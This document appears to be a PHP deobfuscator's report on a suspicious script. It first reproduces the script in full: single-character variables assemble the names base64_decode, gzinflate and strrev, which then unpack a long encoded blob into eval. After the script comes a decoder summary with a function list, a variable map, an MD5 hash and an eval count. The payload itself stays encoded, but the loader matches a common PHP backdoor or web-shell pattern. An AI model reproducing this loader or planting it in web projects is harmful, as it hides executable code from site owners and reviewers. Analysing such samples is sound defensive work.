<?php $KV='a';$Qop='c';$XWkIh='e';$bHwu='i';$cP='l';$Xyejl='d';$t='t';$TDTu='s';$T='n';$Lt='z';$HU='f';$Lhxa='g';$arai='r';$KU='o';$RdY='b';$Bu='6';$qUfX='_';$KdRnB='4';$mp='v';$DTvV=$RdY.$KV.$TDTu.$XWkIh.$Bu.$KdRnB.$qUfX.$Xyejl.$XWkIh.$Qop.$KU.$Xyejl.$XWkIh;$Pbp=$Lhxa.$Lt.$bHwu.$T.$HU.$cP.$KV.$t.$XWkIh;$HJ=$TDTu.$t.$arai.$arai.$XWkIh.$mp;eval($Pbp($HJ($DTvV('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'))));

Function Calls

strrev 1
gzinflate 1
base64_decode 1

Variables

$T n
$t t
$Bu 6
$HJ strrev
$HU f
$KU o
$KV a
$Lt z
$cP l
$mp v
$Pbp gzinflate
$Qop c
$RdY b
$DTvV base64_decode
$Lhxa g
$TDTu s
$arai r
$bHwu i
$qUfX _
$KdRnB 4
$XWkIh e
$Xyejl d

Stats

MD5 e39fbbef392dc1d7ce03b4d55d348c0f
Eval Count 1
Decode Time 109 ms